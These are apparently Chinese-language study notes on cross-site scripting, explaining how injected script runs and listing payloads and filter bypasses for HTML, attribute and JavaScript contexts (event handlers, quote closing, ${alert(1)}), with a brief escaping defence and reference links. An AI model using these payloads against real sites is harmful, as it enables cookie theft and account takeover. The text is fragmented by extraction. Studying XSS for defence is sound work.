1.XSS
了解
XSS(Cross-site scripting) 就代表著攻击者可以在其他人的网站上面执行JavaScript 程序。
如果访问的是 index.php?name=<script>alert(1)</script>
呢?输出的内容就会变成:Hello,<script>alert(1)</script>
<script>
标签里的内容将被视为JavaScript代码来执行,屏幕上会弹出一个提示窗口,这意味着可以在其他人的网站中执行JavaScript代码。
通过index.html?name=<script>alert(1)</script>
的方式可以插入任何我们想要的内容,但这次是通过前端使用innerHTML
的方式将我们的 payload 添加到页面上。 两者之间的区别在于前面的例子实际上不会触发alert
,原因是在使用innerHTML
时,插入的<script>
标签没有效果,因此攻击者必须调整XSS payload才能执行代码。
localStorage :
Cookie:
cookieStore
API / document.cookie /fetch()与其他api交互
执行js的方式
<script>alert(1)</script>
Inline event handle
在HTML元素中内联(内嵌)的事件处理程序<img src="not_exist" onerror="alert(1)">
<button onclick="alert(1)">拜託點我</button>
<svg onload="alert(1)">
<svg/onload=alert(1)>
html属性中
"
非必要,没有空格就可以拿掉标签跟属性间的空格可以用
/
替代
<a href=javascript:void(0)>Link</a>
常用的event handler
onerror
onload
onfocus
onblur
onanimationend
onclick
onmouseenter
常见情景
注入html
直接給你一塊空白的 HTML 讓你去操作,因此可以直接寫入任何想要的元素
<script>alert(1)</script>
防御
把使用者輸入中的
<
跟>
全部取代掉,它就沒有辦法插入新的 HTML 標籤,就沒辦法做到任何事情。
注入属性
輸入的內容是做為某個屬性的值,被包在屬性裡面的: 我们可以使用"<script>alert(1)</script>
来闭合标签,再插入js语句
<>
被过滤
" tabindex=1 onfocus="alert(1)" x="
闭合”
后使用event handler
' "
被过滤
通过空格和
/
新增属性
payload: /onclick=alert(1)
注入javascript
"
过滤
</script>
闭合标签,再注入其他标签
``<>"'`过滤
如果在輸入裡面加一個空行,就會因為換行導致整段程式碼無法執行,出現 SyntaxError
此时可以用${alert(1)}
的方式來注入 JavaScript 程式
参考链接
https://web.archive.org/web/20100723152801/http://blogs.msdn.com/b/dross/archive/2009/12/15/happy-10th-birthday-cross-site-scripting.aspx
https://owasp.org/www-pdf-archive/OWASP-AppSecEU08-Dabirsiaghi.pdf
https://github.com/mandatoryprogrammer/xsshunter-express
https://hackerone.com/reports/948929
Last updated